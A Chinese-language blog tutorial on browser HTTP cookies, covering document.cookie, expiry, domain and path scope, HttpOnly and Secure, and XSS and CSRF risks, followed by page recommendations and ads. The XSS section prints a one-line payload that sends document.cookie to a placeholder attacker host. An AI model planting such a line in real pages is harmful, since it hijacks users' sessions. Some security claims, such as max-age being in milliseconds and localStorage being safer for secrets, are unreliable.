網頁瀏覽器中可以使用的 storage:什麼是 HTTP cookies?為什麼使用 cookies 會有資安風險?

閱讀時間約 7 分鐘

在瀏覽器環境中有許多的儲存空間,想要查看這些空間的話,可以透過「chrome > Dev Tools > Application > Storage」即能進行查看。

瀏覽器內存空間的差異不僅常常被拿來被當作面試考題,在實務開發中更扮演舉足輕重的角色,今天就想透過這系列的文章深度了解這些瀏覽器內存的差異:

Cookie 簡述

在了解 Cookie 實際應用情境前,我認為理解 Cookie 被發明的背景會對後續的瀏覽器內存理解有很大的幫助。

Cookie 最早是在 1994 年時在早期的網景瀏覽器上實作,由於透過 HTTP 協定傳輸資料的時候是無狀態的,無狀態意旨的是:當今天 A 伺服器將一則資料傳送到 B 使用者的瀏覽器上,在不夾帶任何其他資訊的狀況下,B 使用者透過瀏覽器將一則資料回傳給 A 伺服器,A 伺服器不會知道這則 HTTP Request 是由 B 使用者傳過來的。

因此早期網景為了記錄瀏覽網站的使用者,在瀏覽器上實作了一個可以儲存文字訊息的儲存空間,讓 HTTP 在傳輸的過程中,讓伺服器知道今天瀏覽器的使用者是誰、有無一些特殊的狀態。

當我們在瀏覽器發送請求時,瀏覽器預設會將 cookie 帶到 http header 上,隨著請求內容一併傳輸到伺服器端。

回歸到現代網頁開發,cookie 依然頻繁應用在紀錄使用者狀態,除了可以把會員登入註冊後加密完的 token 存在 cookie 外,在行銷工具面也應用的很廣,例如:紀錄使用者的行為或是偏好。

接著讓我們來看看 cookie 的應用機制為何:

cookie 的樣貌

如果我們透過「chrome > Dev Tools > Application > Storage > cookie」的方式查看 cookie,會發現實際上 cookie 長成這樣:

raw-image


我碼掉了一些機敏資訊,以頁面上的資訊來說,在 wikipedia 這個網域底下,存了一組 cookie 為:

"WMF-Last-Access=xxxx;expires=xxxx;path=/;"

實際上 cookie 就是由多種鍵值組成的字串,並且使用分號為識別符切割字串。

透過 chrome 的開發者工具,我們可以更具象化的知道今天我們被網路的應用程式紀錄了哪些資訊。

寫入 cookie

在前端可以透過以下方式在瀏覽器中寫入 cookie:

document.cookie = "name=vvn"

透過這樣的方式可以設定一組 cookie 到瀏覽器中。

讀取 cookie

由於資安問題, cookie 有設定可以拒絕 client 端的 JavaScript 存取與修改 cookie,這樣被限制的 cookie 就沒有辦法透過 document.cookie 的 Web API 存取到 cookie,這個後續我們會在提到。

在沒有任何限制下,client 端的 JavaScript 可以用以下方法存取 cookie:

document.cookie
// -> "name=vvn"

cookie 逾期機制

cookie 依照逾期機制可以分為兩種類型,分別為常駐 cookie 與 session cookie。

在設定 cookie 的時候,我們可以選擇是否要設定逾期的時間,有設定逾期時間的 cookie 稱為常駐 cookie ,沒有設定逾期時間的 cookie 稱為 sesstion cookie,session cookie 通常會在關閉瀏覽器時即消失,但如果有啟用 session restoring 的機制(例如:在 chrome 中可以記住特定使用者的瀏覽器資訊),則會因為因為被瀏覽器記住狀態,反而讓 sesstion 成為永久性的 cookie ,這是特別需要注意的一點。

常駐 cookie 可以透過設定 expires 或是 max-age 屬性來決定什麼時候逾期與否,前者適用於 GMT 字串格式,後者則是使用毫秒為單位。

就實用性與安全性考量,MDN 建議使用常駐 cookie 搭配 max-age 不僅可以在固定時間逾期,也不用自動換算 GMT 格式。

舉例來說:

document.cookie = "name=vvn;max-age=36000"

cookie 的作用範圍與風險

我們可以透過設定 cookie 的 domain 以及 path 屬性來限定特定網域才能存取 cookie,前者為 cookie 可被作用的網域,後者為哪些 HTTP Request 的路徑要夾帶此 cookie。

domain 沒有特別被指定時,預設為設定 cookie 時當下的文件 domain ,舉例來說:在 https://vivian.enlife.com 中的程式碼設定了一組 cookie ,但未註明 domain 的內容,則會以 https://vivian.enlife.com 作為預設 domain 屬性。

path 屬性在未被寫入時,會以預設值 / 為主,也就是說:當有一個網站未註明 path 內容時,在打第三方 API 時也有可能把 cookie 中的機敏資訊一併挾帶到第三方的伺服器中,這也是 cookie 常被詬病的資安漏洞之一。

雖然 Mozilla 有在推行禁止跨域讀取的 samsite cookie ,但尚未成為標準化的規範,仍為實驗性的功能。

由於 cookie 的使用常常涉及「未經使用者同意」及拿取資料的行為,在歐盟的法規中有規定網站一定要有「cookie consent banner」,不然就是不合格的網站,有些資安測試也會視其為基本的指標。

與 cookie 有關的資安攻擊:挾持憑證、XSS 與 CSRF

在一些早期的網頁服務或是後端的服務,多使用 cookie 進行 HTTP Request 之間的狀態傳遞,然而這些狀態之間的傳遞多是以用戶的某種識別憑證為主,當使用者在瀏覽器登入後,會產生一組憑證,這組憑證就會被當作呼叫 API 時的 access-token

也因為 cookie 在早期(甚至是現在)多用來儲存機敏資料,因此非常容易透過 XSS 的方式直接挾持使用者的憑證:

new Image().src =
"<http://www.evil-domain.com/steal-cookie.php?cookie=>" + document.cookie;

萬一該服務有一些與金流、電子報有關的服務,可能就會一併出現 CSRF 攻擊手法,透過挾持使用者憑證,以偽造身份去打一些需要付費的服務或是透過電子報系統寄送釣魚信件。

因此,在使用 cookie 應謹慎使用,下面我們會針對 cookie 的資安防範進行討論。

禁止用戶端取用 cookie

cookie 有提供一個屬性 http-only 限定一些機敏資料不能被客戶端的 JavaScript 所讀取,這樣就可以降低在客戶端被注入 JavaScript 程式碼、獲取的 cookie 的機會,而 secure 屬性則讓 cookie 是透過加密的 https 的協定進行傳輸。

雖然 cookie 在瀏覽器的實作上提供了一些保護的機制,但他終究是不安全的,也很容易因為一些複雜的商業邏輯,導致使用者資料在不同的服務間傳遞來傳遞去,因此 Mozilla 官方更建議使用現代的 Web Storage API 來存取機敏資料,例如:localStorage、sessionStorage 或是 indexDB 等。

關於現代的 Web Storage API 會在其他篇進行介紹,我是 Vivian,我們下次見!

參考資料:

  1. wikipedia - http cookie
  2. google developer - cookie
為了追求可以窩在座位上、可以心無旁騖思考問題、座位可以亂七八糟沒關係、不需要到處哈腰點頭跑客戶,不用腳踩十公分、連妝都可以不用化的職場人生,文組少女毅然決然踏上RD的養成日常。
留言0
查看全部
發表第一個留言支持創作者!
Vite 是由 Vue 開發者 Evan You 所開發出來,用來加快、優化程式碼打包的工具,在這裡我們不免會需要提到大部分前端開發者可能都會聽過、使用過的前端工具:Webpack。 在那之前,我們先來聊聊為什麼前端會需要所謂的打包工具呢?
上一篇文章分享了 TypeScript 的定義、前端角色定位,如果你不是很確定「TypeScript 是什麼?」、「TypeScript 作為 JavaScript 的超集,在網頁開發扮演怎麼樣的角色?」這兩個問題的答案,建議可以回到上一篇先了解一下。
在前端的開發中,除了切版與串 API 外,大部分的時間都在針對表單內容進行檢核、驗證、阻擋,一方面是讓使用者在操作頁面的過程中有良好的使用者體驗,不會因為一些例外狀況(Edge Case),例如:莫名其妙的 4xx 錯誤,導致使用者卡在某個操作流程中逃不出來,另一方面是讓傳遞到後端的資料更加正確⋯⋯
在 2021 年的剛轉職成為前端工程師的時候,我在面試時滿常會被詢問到 JavaScript 中閉包的議題,當時候自己回答的滿差的,於是在 2022 年時,我寫了一系列的有關於函式程式設計鐵人賽的文章, 裡頭就有簡單提到有關於閉包的議題。
在之前的文章當中曾經提到過 JavaScript 中的物件有一個特別的機制:傳參考(Called by reference),如果正確性再高一點的話,則可以稱之為傳共享(Called by sharing)。
在先前的型別文章中,我們曾經聊過 JavaScript 常用的一些型別,但針對布林這個型別,我們沒有做太多的解釋,原因在於布林值在 JavaScript 會有一個特殊的規則:自動轉型 。 自動轉型可說是讓 JavaScript 為弱型別、且難以管理的最重要的要素,接著就來讓我們來聊聊什麼是自動轉型
Vite 是由 Vue 開發者 Evan You 所開發出來,用來加快、優化程式碼打包的工具,在這裡我們不免會需要提到大部分前端開發者可能都會聽過、使用過的前端工具:Webpack。 在那之前,我們先來聊聊為什麼前端會需要所謂的打包工具呢?
上一篇文章分享了 TypeScript 的定義、前端角色定位,如果你不是很確定「TypeScript 是什麼?」、「TypeScript 作為 JavaScript 的超集,在網頁開發扮演怎麼樣的角色?」這兩個問題的答案,建議可以回到上一篇先了解一下。
在前端的開發中,除了切版與串 API 外,大部分的時間都在針對表單內容進行檢核、驗證、阻擋,一方面是讓使用者在操作頁面的過程中有良好的使用者體驗,不會因為一些例外狀況(Edge Case),例如:莫名其妙的 4xx 錯誤,導致使用者卡在某個操作流程中逃不出來,另一方面是讓傳遞到後端的資料更加正確⋯⋯
在 2021 年的剛轉職成為前端工程師的時候,我在面試時滿常會被詢問到 JavaScript 中閉包的議題,當時候自己回答的滿差的,於是在 2022 年時,我寫了一系列的有關於函式程式設計鐵人賽的文章, 裡頭就有簡單提到有關於閉包的議題。
在之前的文章當中曾經提到過 JavaScript 中的物件有一個特別的機制:傳參考(Called by reference),如果正確性再高一點的話,則可以稱之為傳共享(Called by sharing)。
在先前的型別文章中,我們曾經聊過 JavaScript 常用的一些型別,但針對布林這個型別,我們沒有做太多的解釋,原因在於布林值在 JavaScript 會有一個特殊的規則:自動轉型 。 自動轉型可說是讓 JavaScript 為弱型別、且難以管理的最重要的要素,接著就來讓我們來聊聊什麼是自動轉型
你可能也想看
Google News 追蹤
Thumbnail
接下來第二部分我們持續討論美國總統大選如何佈局, 以及選前一週到年底的操作策略建議 分析兩位候選人政策利多/ 利空的板塊和股票
Thumbnail
🤔為什麼團長的能力是死亡筆記本? 🤔為什麼像是死亡筆記本呢? 🤨作者巧思-讓妮翁死亡合理的幾個伏筆
Thumbnail
今天來分享一個好像有點廢的小技巧 把網頁變成可以直接用來打字的文字編輯器
Thumbnail
在網頁設計中,排版是傳達信息和增強用戶體驗的關鍵。一個良好的排版不僅能使網站看起來專業,還能指引用戶高效地獲取信息。以下是網頁設計排版中需要注意的細節。
Thumbnail
在數碼時代,企業的網頁設計扮演著關鍵的角色。它不僅代表著企業在網絡世界的形象,也能提升公司的認受性,塑造良好的第一印象,並在線上建立存在感。此外,網頁也是推廣宣傳的基地,能介紹公司和產品資訊,吸納潛在客戶。
Thumbnail
在建立網站的過程中,網頁設計和網頁開發這兩個術語經常被提及。它們雖然密切相關,但各自涵蓋了網站建設的不同方面,從創造視覺吸引力到實現網站的互動功能。
Thumbnail
留白,常被稱為負空間,是網頁設計中的一個關鍵元素,它不僅能提升美感,還能提高網頁的可讀性和用戶體驗。本文將深入探討如何巧妙地運用留白來創造出既美觀又實用的網頁設計。
Thumbnail
axiom.ai 是一個 Chrome 瀏覽器擴充工具,無論你是專業從事資料分析,還是只是想輕鬆地從網站上擷取所需的資訊,它能讓你不用寫程式也能輕鬆建立瀏覽器的自動化機器人!從定期至網站擷取相關資料,再彙整至 Google Sheets,或結合 ChatGPT 技術加速資料擷取,都可以輕鬆實現!
Thumbnail
今天因為小編的電腦不小心重開機,結果平常慣用的Edge瀏覽器在重開機後「自動」更新成100的版本號! 重新開啟Edge瀏覽器後,會自動顯示一些使用技巧,那就看看有沒有值得一試的功能吧。 (注意:此功能應該在Edge瀏覽器版本號90之後就可以支援了,並非一定要更新到版本號100)
Thumbnail
榴槤味潔廁液使用泰國出產榴槤提煉的香油製成,100%天然成分,絕對安全;榴槤味潔廁液以韓國最新技術研發,能夠做到99.9% 殺菌, 有效清潔廁所的頑固污漬,當中的細微份子能夠停留在物件表面長達12小時,形成防菌塗層避免細菌依附於物件上。
Thumbnail
歌曲辨識的服務在一些品牌的產品發佈會前中後會是個高頻需求。大品牌都很重視在各個環節的曲目選擇,因此如果此時有這樣的協助小工具的話,應該很能節省不少功夫吧?
Thumbnail
接下來第二部分我們持續討論美國總統大選如何佈局, 以及選前一週到年底的操作策略建議 分析兩位候選人政策利多/ 利空的板塊和股票
Thumbnail
🤔為什麼團長的能力是死亡筆記本? 🤔為什麼像是死亡筆記本呢? 🤨作者巧思-讓妮翁死亡合理的幾個伏筆
Thumbnail
今天來分享一個好像有點廢的小技巧 把網頁變成可以直接用來打字的文字編輯器
Thumbnail
在網頁設計中,排版是傳達信息和增強用戶體驗的關鍵。一個良好的排版不僅能使網站看起來專業,還能指引用戶高效地獲取信息。以下是網頁設計排版中需要注意的細節。
Thumbnail
在數碼時代,企業的網頁設計扮演著關鍵的角色。它不僅代表著企業在網絡世界的形象,也能提升公司的認受性,塑造良好的第一印象,並在線上建立存在感。此外,網頁也是推廣宣傳的基地,能介紹公司和產品資訊,吸納潛在客戶。
Thumbnail
在建立網站的過程中,網頁設計和網頁開發這兩個術語經常被提及。它們雖然密切相關,但各自涵蓋了網站建設的不同方面,從創造視覺吸引力到實現網站的互動功能。
Thumbnail
留白,常被稱為負空間,是網頁設計中的一個關鍵元素,它不僅能提升美感,還能提高網頁的可讀性和用戶體驗。本文將深入探討如何巧妙地運用留白來創造出既美觀又實用的網頁設計。
Thumbnail
axiom.ai 是一個 Chrome 瀏覽器擴充工具,無論你是專業從事資料分析,還是只是想輕鬆地從網站上擷取所需的資訊,它能讓你不用寫程式也能輕鬆建立瀏覽器的自動化機器人!從定期至網站擷取相關資料,再彙整至 Google Sheets,或結合 ChatGPT 技術加速資料擷取,都可以輕鬆實現!
Thumbnail
今天因為小編的電腦不小心重開機,結果平常慣用的Edge瀏覽器在重開機後「自動」更新成100的版本號! 重新開啟Edge瀏覽器後,會自動顯示一些使用技巧,那就看看有沒有值得一試的功能吧。 (注意:此功能應該在Edge瀏覽器版本號90之後就可以支援了,並非一定要更新到版本號100)
Thumbnail
榴槤味潔廁液使用泰國出產榴槤提煉的香油製成,100%天然成分,絕對安全;榴槤味潔廁液以韓國最新技術研發,能夠做到99.9% 殺菌, 有效清潔廁所的頑固污漬,當中的細微份子能夠停留在物件表面長達12小時,形成防菌塗層避免細菌依附於物件上。
Thumbnail
歌曲辨識的服務在一些品牌的產品發佈會前中後會是個高頻需求。大品牌都很重視在各個環節的曲目選擇,因此如果此時有這樣的協助小工具的話,應該很能節省不少功夫吧?